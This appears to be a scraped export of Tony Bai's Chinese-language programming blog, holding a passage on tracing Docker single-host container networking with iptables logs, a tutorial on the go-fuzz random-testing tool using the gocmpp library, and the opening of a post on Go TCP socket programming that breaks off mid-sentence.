[TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.1 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=29166 DF PROTO=TCP SPT=41362 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 路由decision后发现目的地址就是docker0自己的地址(172.17.0.1)，要送给user层，于是走filter input链：\nJan 14 12:53:02 pc-baim kernel: [839935.434309] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.1 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=29166 DF PROTO=TCP SPT=41362 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 送到user层后，user层发现没有程序监听12580端口，于是向下发出ack rst包。数据包重新路由后，发现是直连网络，从docker0口出。但出去之前需要先进入iptables的filter output链：\nJan 14 12:53:02 pc-baim kernel: [839935.434344] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.2 LEN=40 TOS=0x10 PREC=0x00 TTL=64 ID=781 DF PROTO=TCP SPT=12580 DPT=41362 WINDOW=0 RES=0x00 ACK RST URGP=0 数据包从docker0进入后，docker0承担网桥角色，在二层转发给container1，结束处理。\n3、container to host 场景：我在container1(172.17.0.2)中执行：telnet 10.10.126.101 12580。docker0所在宿主机上启动服务程序在监听12580端口，因此这是个标准tcp连接建立过程（sync, ack sync, ack）。\n分析：\n我们首先从container1的视角去看。\ncontainer1在经过路由判断后，匹配到default路由，需要走gateway(flags = UG)，于是将目的mac填写为Gateway 172.0.0.1的mac地址，将包通过eth0转给Gateway，即docker0。\n切换到宿主机视角。\n宿主机从网卡docker0收到一个数据包，进入iptables：\nJan 14 14:11:28 pc-baim kernel: [844644.563436] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=55780 DF PROTO=TCP SPT=59373 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 路由decision，由于目的地址是10.10.126.101，docker0的管理程序，也就是host的linux网络栈处理程序发现这 不是我自己么（虽然是从 docker0收到的，但网络栈程序知道172.0.0.1和10.10.126.101都是自己），于是user层收下了这个包。因此在路由 后，数据包走到filter input:\nJan 14 14:11:28 pc-baim kernel: [844644.563476] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=55780 DF PROTO=TCP SPT=59373 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 user层监听12580的服务程序收到包后，回复ack syn到172.17.0.2，路由Decision后，发现在直连网络中，通过docker0转出，于是走iptable filter output。\nJan 14 14:11:28 pc-baim kernel: [844644.563519] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=10.10.126.101 DST=172.17.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=59373 WINDOW=28960 RES=0x00 ACK SYN URGP=0 container1收到ack syn后再回复ack，路径与sync一致，日志如下：\nJan 14 14:11:28 pc-baim kernel: [844644.563566] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=55781 DF PROTO=TCP SPT=59373 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 Jan 14 14:11:28 pc-baim kernel: [844644.563584] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=55781 DF PROTO=TCP SPT=59373 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 4、host to container 场景：我在宿主机(10.10.126.101)中执行：telnet 172.17.0.2 12580。container1上启动服务程序在监听12580端口，因此这是个标准tcp连接建立过程（sync, ack sync, ack）。\n分析：\n这次我们首先从宿主机角度出发。\nhost的telnet程序在用户层产生数据包，经路由decision，匹配直连网络路由，出口docker0，然后进入iptables的 filter output链：\nJan 14 14:19:25 pc-baim kernel: [845121.897441] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.2 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=51756 DF PROTO=TCP SPT=44120 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 你会发现在这个log中，数据包的src ip地址为172.17.0.1，这是协议栈处理程序的选择，没有选择10.10.126.101，这些地址都标识host自己。\ncontainer1在收到sync后，回复ack sync，这就相当于container to host。host这次从docker0收到目的为172.17.0.1的ack sync包 , 走的是filer input，这里不赘述。\nJan 14 14:19:25 pc-baim kernel: [845121.897552] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=172.17.0.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=44120 WINDOW=28960 RES=0x00 ACK SYN URGP=0 host再回复ack，与sync相同，走filter output链，不赘述。\nJan 14 14:19:25 pc-baim kernel: [845121.897588] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.2 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=51757 DF PROTO=TCP SPT=44120 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 5、container to 10.10.126.187 场景：我们在container1中向与宿主机直接网络的主机10.10.126.187建立连接。我在container1中执 行：telnet 10.10.126.187 12580。187上启动服务程序在监听12580端口，因此这是个标准tcp连接建立过程（sync, ack sync, ack）。\n分析：\ncontainer1视角：将sync包发个目的地址10.10.126.187，根据路由选择，从默认路由走，下一跳为Gateway，即 172.17.0.1。消息发到docker0。\n切换到host视角：host从docker0网卡收到一个sync包，目的地址是10.10.126.187，进入到iptables：\nJan 14 14:47:17 pc-baim kernel: [846795.243863] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.187 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=34160 DF PROTO=TCP SPT=55148 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 路由选择后，匹配到host的直连网络路由(10.10.126.0/24 via eth0)，包将从eth0出去，于是docker0转发到eth0，走foward chain：\nJan 14 14:47:17 pc-baim kernel: [846795.243931] [TonyBai]-FwdId0Ond0:IN=docker0 OUT=eth0 PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.187 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=34160 DF PROTO=TCP SPT=55148 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 出forward chain后，匹配到nat表的postrouting链，做Masquerade(SNAT)。将源地址从172.0.0.2换为 10.10.126.101再发出去。\nJan 14 14:47:17 pc-baim kernel: [846795.243940] [TonyBai]-NatPostRouting:IN= OUT=eth0 PHYSIN=vethd9f6465 SRC=172.17.0.2 DST=10.10.126.187 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=34160 DF PROTO=TCP SPT=55148 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 10.10.126.187收到后，回复ack sync。由于10.10.126.187上增加了172.17.0.0/16的路由，gateway为10.10.126.101，因此ack sync被回送给宿主机，host会从187收到ack sync包。\nJan 14 14:47:17 pc-baim kernel: [846795.244155] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=55148 WINDOW=5792 RES=0x00 ACK SYN URGP=0 进入iptables时，目的地址还是10.10.126.101，进入路由选择前iptables会将10.10.126.101换成 172.17.0.2（由于之间在natpostrouting做了masquerade）。这样后续路由的目的地址为docker0，需要由 eth0转到docker0，走 forward链。由于是RELATED, ESTABLISHED 连接，因此匹配到FwdOd0:\nJan 14 14:47:17 pc-baim kernel: [846795.244182] [TonyBai]-FwdOd0:IN=eth0 OUT=docker0 MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=172.17.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=TCP SPT=12580 DPT=55148 WINDOW=5792 RES=0x00 ACK SYN URGP=0 切换到container1视角。收到ack sync后，回复ack，同sync流程，不赘述：\nJan 14 14:47:17 pc-baim kernel: [846795.244249] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.187 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=34161 DF PROTO=TCP SPT=55148 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 Jan 14 14:47:17 pc-baim kernel: [846795.244266] [TonyBai]-FwdId0Ond0:IN=docker0 OUT=eth0 PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.187 LEN=52 TOS=0x10 PREC=0x00 TTL=63 ID=34161 DF PROTO=TCP SPT=55148 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 不用再走一遍natpostrouting，属于一个流的包只会 经过这个表一次。如果第一个包被允许做NAT或Masqueraded，那么余下的包都会自 动地被做 相同的操作。也就是说,余下的包不会再通过这个表一个一个的被NAT，而是自动地完成。\n6、10.10.126.187 to container 场景：我们在10.10.126.187向container1建立连接。我在187中执行：telnet 172.17.0.2 12580。container1上启动服务程序在监听12580端口，因此这是个标准tcp连接建立过程（sync, ack sync, ack）。\n分析：\n由于187上增加了container1的路由，187将sync包发到gateway 10.10.126.101。\n宿主机视角：从eth0收到目的地址为172.17.0.2的sync包，到达iptables：\nJan 14 15:06:08 pc-baim kernel: [847926.218791] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=172.17.0.2 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=48735 DF PROTO=TCP SPT=53225 DPT=12580 WINDOW=5840 RES=0x00 SYN URGP=0 路由后应该通过docker0发到直连网络。应该走Forward链，但由于上面的log没有覆盖到，只是匹配到DOCKER chain，没有匹配到可以log的rules，没有打印出来log。\ndocker0将sync发给container1，container1回复ack sync。消息报目的地址187，走gateway，即docker0。\n再回到主机视角，host从docker0网卡收到ack sync包，目的187，因此路由后，走直连网络转发口eth0。iptables中走forward chain：FwdId0Ond0:\nJan 14 15:06:08 pc-baim kernel: [847926.219010] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.187 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=53225 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 14 15:06:08 pc-baim kernel: [847926.219103] [TonyBai]-FwdId0Ond0:IN=docker0 OUT=eth0 PHYSIN=vethd9f6465 MAC=02:42:f9:f8:c9:ad:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.187 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=TCP SPT=12580 DPT=53225 WINDOW=28960 RES=0x00 ACK SYN URGP=0 注意这块是已经建立的连接，双方都知道对方的地址了（187上配置了172.17.0.2的路由），因此并没有走nat postroutiing chain，没有SNAT转换地址。\n187收到后，回复ack。这个过程重复sync过程，但forward链可以匹配到FwdOd0：\nJan 14 15:06:08 pc-baim kernel: [847926.219417] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=172.17.0.2 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=48736 DF PROTO=TCP SPT=53225 DPT=12580 WINDOW=92 RES=0x00 ACK URGP=0 Jan 14 15:06:08 pc-baim kernel: [847926.219477] [TonyBai]-FwdOd0:IN=eth0 OUT=docker0 MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=172.17.0.2 LEN=52 TOS=0x10 PREC=0x00 TTL=63 ID=48736 DF PROTO=TCP SPT=53225 DPT=12580 WINDOW=92 RES=0x00 ACK URGP=0 八、容器网络性能测量 这里顺便对容器网络性能做一个初步的测量，测量可以考虑使用传统工具：netperf，其服务端为netserver，会同netperf一并安装到主机中。但前些时候发现了一款显示结果更直观的用go实现的工具：sparkyfish。这里我打算用这个新工具来粗粗的测量一下容器网络的性能。\n由于sparkyfish会执行upload和download场景，因此server放在哪个位置均可。\n我们执行两个场景，对比host和container的网络性能：\n1、与同局域网的一个主机通信 我们在一台与host在同一局域网的主机(105.71)上启动sparkyfish-server，然后分别在host和container上执行sparkyfish-cli 10.10.105.71，结果截图如下：\nhost to 105.71\ncontainer to 105.71\n对比发现：container、host到外部网络的度量值差不多，avg值几乎相同。\n2、container to host and container 我们在host和另一个container2上分别启动一个sparkyfish-server，然后在container1上执行分别执行sparkyfish-cli 10.10.126.101和sparkyfish-cli 172.17.0.3，结果截图如下：\ncontainer to host\ncontainer to container\n对比可以看出：container to container的出入网络性能均仅为container to host的网络性能的三分之一不到。\n九、小结 以上粗略理解了docker单机容器网络，有些地方理解难免有偏颇，甚至是错误，欢迎指正。\nDocker技术虽然成长迅猛，前景广阔，但Docker也非银弹，深入之处必然有坑。填坑之路虽然痛苦，但能有所收获也算是很好了。\n","permalink":"https://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/","summary":"\u003cp\u003e\u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e容器是近两年最 火的IT技术之一，用“火山爆发式“来形容Docker的成 长也不为过。Docker在产品服务的\u003ca href=\"https://en.wikipedia.org/wiki/DevOps\"\u003edevops\u003c/a\u003e 运维、云 计算(CaaS)、大数据以及企业内部应用等领域正在被越来越多的接受和广泛应用。Docker技术的本质在于提升计算密度和提升部署效率，高屋 建瓴的讲，它的出现符合人类社会对绿色发展的追求，降低资源消耗，提升资源的单位利用率。不过经历了两年多的发展，Docker依旧年轻，尚未成 熟，在集群调度、存储、网络、安全等方面，Docker依旧有很长的路要走。\u003c/p\u003e","title":"理解Docker单机容器网络"},{"content":"在Go 1.5发布时，前Intel Black Belt级工程师，现Google工程师Dmitry Vyukov同时发布了Go语言随机测试工具go-fuzz。在 GopherCon2015大会上，Dmitry Vyukov在其名为“[Go Dynamic Tools]”的presentation中着重介绍了go-fuzz。\ngo-fuzz是一款随机测试(Random testing)工具。对于随机测试想必很多人都比较陌生，我也不例外。至少在接触go-fuzz之前，我从未在golang或其他编程语言中使用过类似的测试工具(c/c++开发者可以使用afl-fuzz)。按照维基百科的说法：随机测试就是指半自动或自动地为程序提供非法的、非预期、随机的数据，并监控程序在这些输入数据 下的crash、内置断言、内存泄露等情况。随机测试的研究始于1988年的Barton Miller，到目前为止已经有许多理论支撑，不过这里不会涉及，有兴趣的、想深入的朋友可以跟随维基百科中的链接自行学习。\n在开始go-fuzz之前，我们需要认识到随机测试的位置和意义：\n* 首先它是软件测试技术的一个重要分支，与单元测试等互为补充；\n* 其次随机测试不是什么银弹，它有其适用的范围。随机测试最适合那些处理复杂输入数据的程序，比如文件格式解析、网络协议解析、人机交互界面入口等。\n* 最后，并非所有编程语言都有类似的工具支撑，gopher很幸运，Dmitry Vyukov为我们带来了go-fuzz。\n接下来就让我们回到go-fuzz这个正题上来。\n一、Why go-fuzz go-fuzz之所以吸引眼球，源于Dmitry Vyukov在使用go-fuzz对go标准库以及其他第三方开源库进行测试后的“惊人的战果”。Dmitry在其slide中展示了这些战果：\n60 tests 137 bugs in std lib (70 fixed) 165 elsewhere (47 in gccgo, 30 in golang.org/x, 42 in freetype-go, protobuf, http2, bson) Dmitry Vyukov的go-fuzz实际上也是基于前面提到的afl-fuzz的逻辑 的基础上设计和实现的。不同的是在使用的时候，afl-fuzz对于每个input case都会fork一个process，而go-fuzz则是通过将input case中的data传给一个Fuzz函数：\nfunc Fuzz(data []byte) int 这样就无需反复重启程序。\ngo-fuzz进一步完善了go开发测试工具集，很多一线公司(比如cloudflare)已经开始使用go-fuzz来测试自己的产品，提高产品质量了。\n二、原理 Dmitry在其slide中将go-fuzz的工作流程归纳如下：\n-\u0026gt; 生成随机数据 -\u0026gt; 输入给程序 -\u0026gt; 观察是否有crash -\u0026gt; 如果发现crash，则获益 之后开发者根据crash的结果，尝试fix bug，并 添加针对这个bug的单元测试case。 go-fuzz一旦运行起来，将会是一个infinite loop(一种遗传算法)，该loop的伪代码在slide也有给出：\nInstrument program for code coverage Collect initial corpus of inputs //收集初始输入数据语料(位于workdir的corpus目录下) for { //从corpus中读取语料并随机变化 Randomly mutate an input from the corpus //执行Fuzz，收集覆盖范围 Execute and collect coverage //如果输入数据提供了新的coverage，则将该数据存入语料库(corpus) If the input gives new coverage, add it to corpus } go-fuzz内部实现了多种对初始语料库中输入数据的mutation策略：\n* Insert/remove/duplicate/copy a random range of random bytes. * Bit flip. * Swap 2 bytes. * Set a byte to a random value. * Add/subtract from a byte/uint16/uint32/uint64 (le/be). * Replace a byte/uint16/uint32 with an interesting value (le/be). * Replace an ascii digit/number with another digit/number. * Splice another input. * Insert a part of another input. * Insert a string/int literal. * Replace with string/int literal. 三、使用方法 1、安装go-fuzz 使用go-fuzz需要安装两个重要工具：go-fuzz-build和go-fuzz，通过标准go get就可以安装它们：\n$ go get github.com/dvyukov/go-fuzz/go-fuzz $ go get github.com/dvyukov/go-fuzz/go-fuzz-build 对于国内用户而言，由于go-fuzz并未使用go 1.5引入的vendor机制， 而其依赖的一些包却在墙外，因此可能会遇到些麻烦。\ngo get自动安装两个工具到$GOROOT/bin或$GOPATH/bin，因此你需要确保你的Path环境变量下包含了这两个路径。\n2、带有fuzz test的项目组织 假设我们的待测试的go包名为foo，路径为$GOPATH/src/github.com/bigwhite/fuzzexamples/foo。为了应用go- fuzz，我们一般会在foo下创建fuzz.go源文件，其内容模板如下：\n// +build gofuzz package foo func Fuzz(data []byte) int { ... ... } go-fuzz在构建用于执行fuzz test的驱动binary文件时，会搜索带有”+build gofuzz” directive的源文件以及其中的Fuzz函数。如果foo包下没有该文件，你在执行go-fuzz-build时，会得到类似如下的错误日志：\n$go-fuzz-build github.com/bigwhite/fuzzexamples/foo failed to execute go build: exit status 2 # go-fuzz-main /var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-fuzz-build641745751/src/go-fuzz-main/main.go:10: undefined: foo.Fuzz 有些时候待测试包内功能很多，一个Fuzz函数不够，我们可以参考go-fuzz中example中的目录组织形式来应对：\ngithub.com/bigwhite/fuzzexamples/foo/fuzztest]$tree . ├── fuzz1 │ ├── corpus │ ├── fuzz.go │ └── gen │ └── main.go └── fuzz2 ├── corpus ├── fuzz.go └── gen └── main.go ... ... 这其中的fuzz1、fuzz2…. fuzzN各自为一个go-fuzz单元，如果要应用go-fuzz，则可像下面这样执行：\n$ cd fuzz1 $ go-fuzz-build github.com/bigwhite/fuzzexamples/foo/fuzztest/fuzz1 $ go-fuzz -bin=./foo-fuzz.zip -workdir=./ .. ... $ cd fuzz2 $ go-fuzz-build github.com/bigwhite/fuzzexamples/foo/fuzztest/fuzz2 $ go-fuzz -bin=./foo-fuzz.zip -workdir=./ 每个go-fuzz单元下有一套”固定”目录组合：\n├── fuzz1 │ ├── corpus │ ├── fuzz.go │ └── gen │ └── main.go corpus为存放输入数据语料的目录，在go-fuzz执行之前，可放入初始语料；\nfuzz.go为包含Fuzz函数的源码文件；\ngen目录中包含手工生成初始语料的main.go代码。\n在后续的示例中，我们会展示细节。\n3、go-fuzz-build go-fuzz-build会根据Fuzz函数构建一个用于go-fuzz执行的zip包(PACKAGENAME-fuzz.zip)，包里包含了用途不同的三 个文件：\n-rw-r--r-- 1 tony staff 3902136 12 31 1979 cover.exe -rw-r--r-- 1 tony staff 3211816 12 31 1979 metadata -rw-r--r-- 1 tony staff 5031496 12 31 1979 sonar.exe 按照作者slide中的说法，各个二进制程序的功能如下：\ncover.exe – coverage instrumented binary\nsonar.exe – sonar instrumented binary\nmetadata – coverage and sonar metadata, int and string literals\n不过对于使用者来说，我们不必过于关心它们，点到为止。\n4、执行go-fuzz 一旦生成了foo-fuzz.zip，我们就可以执行针对fuzz1的fuzz test。\n$ cd fuzz1 $ go-fuzz -bin=./foo-fuzz.zip -workdir=./ 2015/12/08 17:51:48 slaves: 4, corpus: 8 (1s ago), crashers: 0, restarts: 1/0, execs: 0 (0/sec), cover: 0, uptime: 3s 2015/12/08 17:51:51 slaves: 4, corpus: 9 (2s ago), crashers: 0, restarts: 1/3851, execs: 11553 (1924/sec), cover: 143, uptime: 6s 2015/12/08 17:51:54 slaves: 4, corpus: 9 (5s ago), crashers: 0, restarts: 1/3979, execs: 47756 (5305/sec), cover: 143, uptime: 9s ... ... 如果corpus中没有初始语料数据，那么go-fuzz也会自行生成相关数据传递给Fuzz函数，并且采用遗传算法，不断基于corpus中的语料生成新的输入语料。go-fuzz作者建议corpus初始时放入的语料越多越好，而且要有足够的多样性，这样基于这些初始语料施展遗传算法，效果才会更加。go-fuzz会将一些语料持久化成文件放在corpus中，以供下次restart使用。\n前面说过，go-fuzz是一个infinite loop，上面的测试需要手工停下来。go-fuzz会在workdir中创建另外两个目录：crashers和suppressions。顾名思义，crashers中存放的是代码crash时的相关数据，包括引起crash的case的输入二进制数据、输入的数据的字符串形式(xxx.quoted)以及基于这个数据的输出数据(xxx.output)。suppressions中保存着crash时的stack trace信息。\n四、一个简单示例 gocmpp是一个cmpp协议库的go实现，这里打算用其中的unpack做一个最简单的fuzz test demo。\ngocmpp中的每种协议包都实现了Packer接口，其中的Unpack尤其适合fuzz test。由于协议包众多，我们在gocmpp下专门建立fuzztest目录，用于存放fuzz test的代码，将各个协议包的fuzz test分到各个子目录中：\ngithub.com/bigwhite/gocmpp/fuzztest]$tree . ├── fwd │ ├── corpus │ │ └── 0 │ ├── fuzz.go │ └── gen │ └── main.go └── submit ├── corpus │ ├── 0 ├── fuzz.go └── gen └── main.go 先说说每个fuzz test单元(比如fwd或submit)下的gen/main.go，这是一个用于生成初始语料的可执行程序，我们以submit/gen/main.go为例：\npackage main import ( \u0026quot;github.com/dvyukov/go-fuzz/gen\u0026quot; ) func main() { data := []byte{ 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x74, 0x65, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x31, 0x33, 0x35, 0x30, 0x30, 0x30, 0x30, 0x32, 0x36, 0x39, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x39, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x32, 0x31, 0x30, 0x00, 0x00, 0x00, 0x00, 0x31, 0x35, 0x31, 0x31, 0x30, 0x35, 0x31, 0x33, 0x31, 0x35, 0x35, 0x35, 0x31, 0x30, 0x31, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x30, 0x30, 0x30, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x31, 0x33, 0x35, 0x30, 0x30, 0x30, 0x30, 0x32, 0x36, 0x39, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0x6d, 0x4b, 0x8b, 0xd5, 0x00, 0x67, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6d, 0x00, 0x70, 0x00, 0x70, 0x00, 0x20, 0x00, 0x73, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6d, 0x00, 0x69, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } gen.Emit(data, nil, true) } 在这个main.go中，我们借用submit包的单元测试中的数据作为fuzz test的初始语料数据，通过go-fuzz提供的gen包将数据输出到文件中：\n$cd submit/gen $go run main.go -out ../corpus/ $ll ../corpus/ total 8 drwxr-xr-x 3 tony staff 102 12 7 22:00 ./ drwxr-xr-x 5 tony staff 170 12 7 21:42 ../ -rw-r--r-- 1 tony staff 181 12 7 22:00 0 该程序在corpus下生成了一个文件“0”，作为submit fuzz test的初始语料。\n接下来我们看看submit/fuzz.go：\n// +build gofuzz package cmppfuzz import ( \u0026quot;github.com/bigwhite/gocmpp\u0026quot; ) func Fuzz(data []byte) int { p := \u0026amp;cmpp.Cmpp2SubmitReqPkt{} if err := p.Unpack(data); err != nil { return 0 } return 1 } 这是一个“最简单”的Fuzz函数实现了，根据作者对Fuzz的规约，Fuzz的返回值是有重要含义的：\n如果此次输入的数据在某种程度上是很有意义的，go-fuzz会给予这类输入更多的优先级，Fuzz应该返回1； 如果明确这些输入绝对不能放入corpus，那让Fuzz返回-1； 至于其他情况，返回0。 接下来就是go-fuzz-build和go-fuzz登场了，这与前面的介绍差不多：\n$cd submit $go-fuzz-build github.com/bigwhite/gocmpp/fuzztest/submit $ls cmppfuzz-fuzz.zip corpus/ fuzz.go gen/ 在submit目录下执行go-fuzz：\n$go-fuzz -bin=./cmppfuzz-fuzz.zip -workdir=./ 2015/12/07 22:05:02 slaves: 4, corpus: 1 (3s ago), crashers: 0, restarts: 1/0, execs: 0 (0/sec), cover: 0, uptime: 3s 2015/12/07 22:05:05 slaves: 4, corpus: 3 (0s ago), crashers: 0, restarts: 1/0, execs: 0 (0/sec), cover: 32, uptime: 6s 2015/12/07 22:05:08 slaves: 4, corpus: 7 (1s ago), crashers: 0, restarts: 1/5424, execs: 65098 (7231/sec), cover: 131, uptime: 9s 2015/12/07 22:05:11 slaves: 4, corpus: 9 (0s ago), crashers: 0, restarts: 1/5424, execs: 65098 (5424/sec), cover: 146, uptime: 12s ... ... 2015/12/07 22:09:11 slaves: 4, corpus: 9 (4m0s ago), crashers: 0, restarts: 1/9860, execs: 4033002 (16002/sec), cover: 146, uptime: 4m12s ^C2015/12/07 22:09:13 shutting down... 这个测试非常耗cpu啊！一小会儿功夫，我的Mac Air的风扇就开始呼呼转起来了。不过我的Unpack函数并未在fuzz test中发现问题，crashers后面的数值一直是0。\ngo-fuzz目前似乎还不支持vendor机制，因此如果你的包像gocmpp一样使用了vendor，那需要在go-fuzz-build和go-fuzz前面加上一个GO15VENDOREXPERIMENT=”0″(如果你之前开启了GO15VENDOREXPERIMENT)，就像这样：\n$ GO15VENDOREXPERIMENT=\u0026quot;0\u0026quot; go-fuzz-build github.com/bigwhite/gocmpp/fuzztest/submit 如果不关闭vendor，你可能会得到类似如下的错误：\ncan't find imported package golang.org/x/text/transform ","permalink":"https://tonybai.com/2015/12/08/go-fuzz-intro/","summary":"\u003cp\u003e在\u003ca href=\"http://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo 1.5\u003c/a\u003e发布时，前Intel Black Belt级工程师，现Google工程师Dmitry Vyukov同时发布了Go语言随机测试工具\u003ca href=\"https://github.com/dvyukov/go-fuzz\"\u003ego-fuzz\u003c/a\u003e。在 \u003ca href=\"https://github.com/gophercon/2015-talks\"\u003eGopherCon2015\u003c/a\u003e大会上，Dmitry Vyukov在其名为“[Go Dynamic Tools]”的presentation中着重介绍了\u003ca href=\"https://github.com/dvyukov/go-fuzz/blob/master/slides/go-fuzz.slide\"\u003ego-fuzz\u003c/a\u003e。\u003c/p\u003e","title":"Go语言随机测试工具go-fuzz"},{"content":"Golang的主要 设计目标之一就是面向大规模后端服务程序，网络通信这块是服务端 程序必不可少也是至关重要的一部分。在日常应用中，我们也可以看到Go中的net以及其subdirectories下的包均是“高频+刚需”，而TCP socket则是网络编程的主流，即便您没有直接使用到net中有关TCP Socket方面的接口，但net/http总是用到了吧，http底层依旧是用tcp socket实现的。\n网络编程方面，我们最常用的就是tcp socket编程了，在posix标准出来后，socket在各大主流OS平台上都得到了很好的支持。关于tcp programming，最好的资料莫过于W. Richard Stevens 的网络编程圣经《UNIX网络 编程 卷1：套接字联网API》 了，书中关于tcp socket接口的各种使用、行为模式、异常处理讲解的十分细致。Go是自带runtime的跨平台编程语言，Go中暴露给语言使用者的tcp socket api是建立OS原生tcp socket接口之上的。由于Go runtime调度的需要，golang tcp socket接口在行为特点与异常处理方面与OS原生接口有着一些差别。这篇博文的目标就是整理出关于Go tcp 